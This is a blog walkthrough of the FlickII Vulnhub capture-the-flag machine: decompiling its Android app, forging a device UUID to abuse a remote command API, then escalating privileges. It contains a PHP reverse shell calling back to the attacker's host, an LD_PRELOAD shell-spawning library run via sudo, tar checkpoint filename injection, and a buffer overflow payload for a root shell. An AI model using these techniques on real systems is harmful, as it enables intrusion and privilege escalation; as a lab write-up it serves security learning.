Vulnhub - FlickII
Posted on 13 Mar 2016 in security • 13 min read
Still playing with the vulnhub machines this time it is the turn of FlickII. This one is different from the others as it has an android application associated. It would be a great exercice to play with mobile application, decompile it and see what is in the inside.
[TOC]
Host discovery
Connecting to host-only network:
sudo ip addr add 192.168.56.1/24 dev vboxnet
Scanning the network to find the virtual machine IP address:
[maggick@rootine flick-check-dist]$ nmap -sn 192.168.56.1/24
Starting Nmap 7.01 ( https://nmap.org ) at 2015-12-30 18:41 CET
Nmap scan report for 192.168.56.1
Host is up (0.00061s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00097s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.45 seconds
Scanning the virtual machine to find open ports:
[maggick@rootine flick-check-dist]$ nmap -p0-65535 192.168.56.101 -T4
Starting Nmap 7.01 ( https://nmap.org ) at 2015-12-30 18:50 CET
Nmap scan report for 192.168.56.101
Host is up (0.00088s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
80/tcp closed http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 123.28 seconds
APK analysis
We got an apk. If we unzip it we got lots of xml files and a dex file.
ls ~/Downloads/flickII/flick-check-dist
AndroidManifest.xml classes.dex META-INF README res resources.arsc
There is a lot of tool in order to decompile and APK and get class files or jar files like dare (link is dead), dex2jar and more.
I tried to use dare to convert dex file to Java bytecode but there was an issue between my 64 bits Arch Linux system and the 32 bits executable. I didn't dig this issue and just go for dex2jar:
sh d2j-dex2jar.sh flick-check-dist.apk
From there I use cfr to decompile the jar file to Java files and human readable code.
java -jar cfr_0_110.jar flickII/flick-check-dist-dex2jar.jar --outputdir flickII/flick-check-dist-cfr-java/
We got the decompiled code. The interesting part of the application is the com/flick/flickeck folder:
├── com
│ ├── flick
│ │ └── flickcheck
│ │ ├── BuildConfig.java
│ │ ├── CallApi.java
│ │ ├── CommandActivity.java
│ │ ├── DoRegisterActivity.java
│ │ ├── MainActivity.java
│ │ ├── PubKeyManager.java
│ │ ├── ReadApiServerActivity.java
│ │ ├── RegisterActivity.java
│ │ └── R.java
We take a look at each file in this directory in order to understand the application goal and how it works.
API token and DoRegisterActivity.java
The file DoRegisterActivity.java show us how to register a new device. By testing the URL presented in the file we got:
[maggick@rootine ~]$ curl https://192.168.56.101/register/new --insecure
{"error":"This method is not allowed for the requested resource."}
We lack an ID to "authenticate" ourself. The line 70 to 75 show us how to get this ID:
Object object2 = (TelephonyManager)this.getBaseContext().getSystemService("phone");
object = "" + object2.getDeviceId();
object2 = "" + object2.getSimSerialNumber();
object = new UUID(("" + Settings.Secure.getString((ContentResolver)this.getContentResolver(), (String)"android_id")).hashCode(), (long)object.hashCode() << 32 | (long)object2.hashCode()).toString();
object2 = this.getSharedPreferences(this.getString(2131099666), 0).getString("api_server", null);
new CallAPI().execute((Object[])new String[]{"https://" + (String)object2 + "/register/new", object});
Let us wrote some Java to generate this ID for us:
Our object
and object2
variables are named generically by the debugger. We
can see in the code above that object
is a string containing the device ID and
that object2
is a string containing the serial number of the Sim card.
Moreover the line where the code generate the new UUID (see the
javadoc for
more information about this object) use an other variable accessible on the
phone: the android ID.
With all this information we come easily with the following code:
import java.util.UUID;
public class HelloWorld {
public static void main(String[] args) {
String deviceId = "12345";
String SimSerialNumber = "67890";
String androidId= "34567";
String code="";
code = new UUID(androidId.hashCode(), deviceId.hashCode() << 32 | SimSerialNumber.hashCode()).toString();
System.out.println(code);
}
}
We compile this code with javac
and execute it with java
(yeah I have named
it HelloWorld):
[maggick@rootine ~]$ java HelloWorld
00000000-02e7-1fb5-0000-000003daceff
We can now try again the URL with this UUID sent in a post parameter:
[maggick@rootine ~]$ curl --data 'uuid=00000000-02e7-1fb5-0000-000003daceff' https://192.168.56.101/register/new --insecure
{"registered":"ok","message":"The requested UUID is now registered.","token":"t6nsb2SrfYKqsp8JIdbEscwfwA6JEeUh"}
Great we are registered, what's next?
Command execution and CommandActivity.java
Line 111 in the file CommandActivity.java
we see the doCmd method that seems
to execute commands on the server via HTTP:
public void doCmd(View object) {
Toast.makeText((Context)this, (CharSequence)("Running command: " + object.getTag().toString()), (int)0).show();
object = Base64.encodeToString((byte[])object.getTag().toString().getBytes(), (int)0);
Object object2 = (TelephonyManager)this.getBaseContext().getSystemService("phone");
String string2 = "" + object2.getDeviceId();
object2 = "" + object2.getSimSerialNumber();
string2 = new UUID(("" + Settings.Secure.getString((ContentResolver)this.getContentResolver(), (String)"android_id")).hashCode(), (long)string2.hashCode() << 32 | (long)object2.hashCode()).toString();
Object object3 = this.getSharedPreferences(this.getString(2131099666), 0);
object2 = object3.getString("api_server", null);
object3 = object3.getString("api_auth_token", null);
new CallAPI().execute((Object[])new String[]{"https://" + (String)object2 + "/do/cmd/" + (String)object, string2, object3});
}
The View object in parameter is the command to execute. The command is just
base64 encoded before sending it to the server as object
in the url, the
string2parameter is the UUID we generate a few lines ago sent in the HTTP
header as 'X-UUID'
parameter, the
object3` parameter is the token to authenticate to the API given
with the curl command just before also sent in the header as 'X-Token' (you may
need to look at the CallAPI method and more particulary at line 182 and 183)
[maggick@rootine ~]$ curl https://192.168.56.101/do/cmd/$(echo -ne id | base64) --header "X-UUID: 00000000-02e7-1fb5-0000-000003daceff" --header "X-Token: n1dJEyZaiFtRyJSoIl2pzI0HDO6BGw18" --insecure
{"status":"ok","command":"id","output":"uid=998(nginx) gid=997(nginx) groups=997(nginx)\n"}
We can execute command on the server, let us wrote a simple bash script to simplify the next steps (we put an echo at the end to have a nice output):
#!/bin/bash
curl https://192.168.56.101/do/cmd/$(echo -ne $1 | base64) --header "X-UUID: 00000000-02e7-1fb5-0000-000003daceff" --header "X-Token: n1dJEyZaiFtRyJSoIl2pzI0HDO6BGw18" --insecure
echo ''
Let us gather some information about the system (there is a blacklist that block
us and forgive us to directly use ls
but the absolute path works):
[maggick@rootine ~]$ ./p ls
{"status":"error","output":"Command 'ls' contains a banned command."}
[maggick@rootine ~]$ ./p /bin/ls
{"status":"ok","command":"\/bin\/ls","output":"index.php\ntest.php\n"}
Shell exploitation
Reverse shell
From there we can get an interactive reverse shell. Let us use the php reverse shell from pentestmonkey:
We need to listen on our host machine for the server connection:
nc -v -n -l -p 8080
Then we need to open the connection from the server:
/bin\/php -r '$sock=fsockopen(\"192.168.56.1\",8080);exec(\"\/bin\/sh -i <&4 >&4 2>&4\");'
It works with no more restriction:
sh-4.2$ id
id
uid=998(nginx) gid=997(nginx) groups=997(nginx)
Batman and Robin?
We can get a look at the /etc/passwd
file:
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nginx:x:998:997:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
robin:x:1000:1000::/home/robin:/bin/bash
bryan:x:1001:1001::/home/bryan:/bin/bash
sean:x:1002:1002::/home/sean:/bin/bash
We can see in the /etc/passwd
file that there is 3 users: robin, bryan and
sean. Moreover in the CommandActivity.java
file we have seen that there is a
mean to execute ssh command (also the port is not open) using the user robin.
The password used for this command is a simply a XOR between the
integryity_check
base64 encoded string at the beginning of the file and the
string define in the validate method. We can reuse the code from there and find
back the password: 40373df4b7a1f413af61cf7fd06d03a565a51898
With our reverse shell a simple su robin
and the password above give us a shell
as the robin user:
id
uid=1000(robin) gid=1000(robin) groups=1000(robin)
Where is bryan?
For the next part of the challenge we may need a real pty shell, Once more pentest monkey will help us:
python -c 'import pty; pty.spawn("/bin/bash")'
We go in the user directory (cd
) and we see a file debug.gpg
:
cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Dude,
I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?
[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil
rand() = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4) = 22
__cxa_finalize(0x555555754e00, 0, 0, 1) = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]
Lemme know!
- --
Sean
We search for the dice program:
find / -name 'dice' 2>/dev/null
/usr/local/bin/dice
This program simply roll a dice:
/usr/local/bin/dice
Dice said: 1804289383
An other useful information is that we can roll the dice as bryan:
sudo -l
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice
Let us put all the pieces together. We can run the program as bryan, we now that
the program load the LD_PRELOAD
environement variable.
A simple google search lead us to
this article
and
this one.
So now we just need to write a shared library to replace rand()
by /bin/bash
run the program as bryan and we would get a shell as bryan.
When testing the trick I ran into the following error:
[robin@fII ~]$ gcc -shared -fPIC unrandom.c -o unrandom.so
gcc: error trying to exec 'cc1': execvp: No such file or directory
We just need to add some variable to our user's PATH:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/game
From there we we can compile the shared library and execute the dice program with it:
[robin@fII ~]$ gcc -shared -fPIC unrandom.c -o unrandom.so
gcc -shared -fPIC unrandom.c -o unrandom.so
[robin@fII ~]$ LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
42 baby
We need to copy the .so
to a location where bryan could read it like /tmp/
.
Now we can run the program as bryan and load the shared library:
sudo -u bryan LD_PRELOAD=/tmp/unrandom.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
42 baby!
We need to modify the code to get a shell:
#include <stdlib.h>
char *getenv(const char *name){
return 0;
}
int rand(){
system("/bin/bash");
return 42; //the most random number in the universe
}
We compile it with gcc
and run it as bryan:
[robin@fII ~]$ sudo -u bryan LD_PRELOAD=/tmp/lol.so /usr/local/bin/dice
sudo -u bryan LD_PRELOAD=/tmp/lol.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
[bryan@fII robin]$ id
id
uid=1001(bryan) gid=1001(bryan) groups=1001(bryan)
sean
Now that we have a shell as bryan we may execute the backup
script own by
sean with the SUID set:
[bryan@fII bin]$ ls -al
ls -al
total 1960
drwxr-xr-x. 2 root root 59 Aug 17 2015 .
drwxr-xr-x. 12 root root 4096 Jun 22 2015 ..
-rwsr-x---. 1 sean bryan 8830 Jul 2 2015 backup
-rwxr-xr-x. 1 root root 1107672 Jun 22 2015 composer
-rwx--x--x. 1 root root 8830 Jul 2 2015 dice
-rwsr-x--- 1 root sean 866169 Aug 15 2015 restore
Let us see what it does:
[bryan@fII bin]$ ./backup
./backup
* Securing environment
* Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
framework/sessions/
framework/sessions/.gitignore
framework/views/
framework/views/.gitignore
logs/
logs/.gitignore
logs/lumen.log
* Backup done!
It might be something about WildCards on linux.
Let us see what is used by the backup program with strace
which available on
the server let us try it to see the inside of the program:
[sean@fII bin]$ strace -s 999 -v -f ./backup 2>&1 | grep execve
strace -s 999 -v -f ./backup 2>&1 | grep execve
execve("./backup", ["./backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "TERM=unknown", "SHELL=/bin/bash", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/mail/bryan", "PWD=/usr/local/bin", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "TAR_CHECKPOINT=1", "SHLVL=13", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace", "OLDPWD=/tmp"]) = 0
[pid 1779] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "TERM=unknown", "SHELL=/bin/bash", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/mail/bryan", "PWD=/usr/local/bin", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "TAR_CHECKPOINT=1", "SHLVL=13", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace", "OLDPWD=/tmp"]) = 0
[pid 1781] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid 1782] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20160312.tar.gz", "app", "--checkpoint-action=exec=sh shell.sh", "database.sqlite", "framework", "logs", "shell.sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 1783] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid 1783] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
- The
-s 999
allows to specify the maximum string size to print - the -v prints more informations
- the -f see the child process calls, you would not see a lot of things without this flag
We can see that the tar
utility is used. We have seen in the previous link
that we can exploit it using the checkpoint
. The backup directory is
/usr/share/nginx/serverchecker/storage
.
[bryan@fII bin]$ touch '/usr/share/nginx/serverchecker/storage/--checkpoint=1'
[bryan@fII bin]$ touch '/usr/share/nginx/serverchecker/storage/--checkpoint-action=exec=sh shell.sh'
[bryan@fII bin]$ echo '/bin/sh' > /usr/share/nginx/serverchecker/storage/shell.sh
[bryan@fII bin]$ chmod +x /usr/share/nginx/serverchecker/storage/shell.sh
[bryan@fII bin]$ ls -al /usr/share/nginx/serverchecker/storage/
total 20
drwxrwxrwx. 5 nginx nginx 4096 Mar 12 11:54 .
drwxr-xr-x. 10 nginx nginx 4096 Jun 22 2015 ..
drwxr-xr-x. 2 nginx nginx 23 Jun 22 2015 app
-rw-rw-r-- 1 bryan bryan 0 Mar 12 11:52 --checkpoint=1
-rw-rw-r-- 1 bryan bryan 0 Mar 12 11:53 --checkpoint-action=exec=sh shell.sh
-rwxrwxrwx. 1 nginx nginx 6144 Feb 14 14:40 database.sqlite
drwxr-xr-x. 5 nginx nginx 45 Jun 22 2015 framework
drwxr-xr-x. 2 nginx nginx 39 Jun 22 2015 logs
-rw-rw-r-- 1 bryan bryan 8 Mar 12 11:54 shell.s
We launch the backup program:
[bryan@fII bin]$ /usr/local/bin/backup
sh-4.2$ id
id
uid=1002(sean) gid=1001(bryan) groups=1002(sean),1001(bryan)
root me?
Let get us back a real shell:
python -c 'import pty; pty.spawn("/bin/bash")'
You may need to change the permission of bryan's .bashrc
as you can get an
error about it:
[bryan@fII ~]$ chmod 777 ~/.*
(Yes I had to exit the shell and start again the operations :/)
Next we need to use the restore
program also in /usr/local/bin/
own by root
with the SUID set and executable by the sean
group. First we need to change
our group (as the one used is bryan
).
newgrp sean
Let us try the program by creating and empty archive in /tmp/
:
[sean@fII storage]$ cd /tmp/
[sean@fII tmp]$ touch backup.tar.gz
[sean@fII tmp]$ cd /usr/local/bin
[sean@fII bin]$ ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: /tmp/
Output directory is: /tmp/
This is a beta, run the following command for now:
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp/ database.sqlite"
You are currently running this tool as:
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)
This looks like we would have to use a buffer overflow the get a root shell as the program segfault when the input for the "output directory" is too long:
[sean@fII tmp]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
Output directory is: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
Segmentation fault
Let us used objdump to see what we can do and to which address get back in the program:
objdump -d ./restore
[...]
0000000000400fe1 <get_out_path>:
400fe1: 55 push %rbp
400fe2: 48 89 e5 mov %rsp,%rbp
400fe5: 48 83 ec 40 sub $0x40,%rsp
400fe9: bf 77 2b 49 00 mov $0x492b77,%edi
400fee: b8 00 00 00 00 mov $0x0,%eax
400ff3: e8 38 11 00 00 callq 402130 <_IO_printf>
400ff8: 48 8d 45 c0 lea -0x40(%rbp),%rax
400ffc: 48 89 c7 mov %rax,%rdi
400fff: e8 2c 15 00 00 callq 402530 <_IO_gets>
401004: 48 8d 45 c0 lea -0x40(%rbp),%rax
401008: 48 89 c6 mov %rax,%rsi
40100b: bf 94 2b 49 00 mov $0x492b94,%edi
401010: b8 00 00 00 00 mov $0x0,%eax
401015: e8 16 11 00 00 callq 402130 <_IO_printf>
40101a: 48 8d 45 c0 lea -0x40(%rbp),%rax
40101e: c9 leaveq
40101f: c3 retq
It looks like the address 401f71
would give us a shell if we return there with
the buffer overflow.
objdump -d ./restore
[...]
401f15: eb 93 jmp 401eaa <do_system+0x29a>
401f17: 31 d2 xor %edx,%edx
401f19: be 00 f5 6b 00 mov $0x6bf500,%esi
401f1e: bf 02 00 00 00 mov $0x2,%edi
401f23: 48 c7 44 24 30 25 2d movq $0x492d25,0x30(%rsp)
401f2a: 49 00
401f2c: 48 c7 44 24 38 1d 2d movq $0x492d1d,0x38(%rsp)
401f33: 49 00
401f35: 48 89 6c 24 40 mov %rbp,0x40(%rsp)
401f3a: 48 c7 44 24 48 00 00 movq $0x0,0x48(%rsp)
401f41: 00 00
401f43: e8 b8 e2 01 00 callq 420200 <__sigaction>
401f48: 31 d2 xor %edx,%edx
401f4a: be 60 f4 6b 00 mov $0x6bf460,%esi
401f4f: bf 03 00 00 00 mov $0x3,%edi
401f54: e8 a7 e2 01 00 callq 420200 <__sigaction>
401f59: 48 8d 74 24 50 lea 0x50(%rsp),%rsi
401f5e: 31 d2 xor %edx,%edx
401f60: bf 02 00 00 00 mov $0x2,%edi
401f65: e8 b6 e2 01 00 callq 420220 <__sigprocmask>
401f6a: 48 8b 15 ff d7 2b 00 mov 0x2bd7ff(%rip),%rdx # 6bf770 <__environ>
401f71: 48 8d 74 24 30 lea 0x30(%rsp),%rsi
401f76: bf 20 2d 49 00 mov $0x492d20,%edi
401f7b: c7 05 bb d4 2b 00 00 movl $0x0,0x2bd4bb(%rip) # 6bf440 <lock>
401f82: 00 00 00
401f85: c7 05 c1 d4 2b 00 00 movl $0x0,0x2bd4c1(%rip) # 6bf450 <sa_refcntr>
401f8c: 00 00 00
401f8f: e8 9c aa 01 00 callq 41ca30 <__execve>
401f94: bf 7f 00 00 00 mov $0x7f,%edi
401f99: e8 32 aa 01 00 callq 41c9d0 <_exit>
401f9e: 48 c7 c2 c0 ff ff ff mov $0xffffffffffffffc0,%rdx
401fa5: f7 d8 neg %eax
Let us use python to generate the payload encoded in little endian:
[sean@fII storage]$ python -c 'print "A"*72 + "\x71\x1f\x40"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq
You may need to use another terminal which would not mess up with your input as urxvt did. I used tilda for this one. We just need to copy the payload when choosing the output directory for the restore program:
[sean@fII storage]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
And it got us a root shell from where we can get the flag:
[root@fII storage]# id
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)
root@fII root]# cat flag
█████▒██▓ ██▓ ▄████▄ ██ ▄█▀ ██▓ ██▓
▓██ ▒▓██▒ ▓██▒▒██▀ ▀█ ██▄█▒ ▓██▒▓██▒
▒████ ░▒██░ ▒██▒▒▓█ ▄ ▓███▄░ ▒██▒▒██▒
░▓█▒ ░▒██░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ░██░░██░
░▒█░ ░██████▒░██░▒ ▓███▀ ░▒██▒ █▄░██░░██░
▒ ░ ░ ▒░▓ ░░▓ ░ ░▒ ▒ ░▒ ▒▒ ▓▒░▓ ░▓
░ ░ ░ ▒ ░ ▒ ░ ░ ▒ ░ ░▒ ▒░ ▒ ░ ▒ ░
░ ░ ░ ░ ▒ ░░ ░ ░░ ░ ▒ ░ ▒ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
You have successfully completed FlickII!
I hope you learnt as much as I did while
making it! Any comments/suggestions etc,
feel free to catch me on freenode in
#vulnhub or on twitter @leonjza
Conclusion
This was a really great challange! The android part was a really new to me. The exploitation part was very interesting!.
Many thanks to TurboSmouem for the challange and as usual thanks to vulnhub.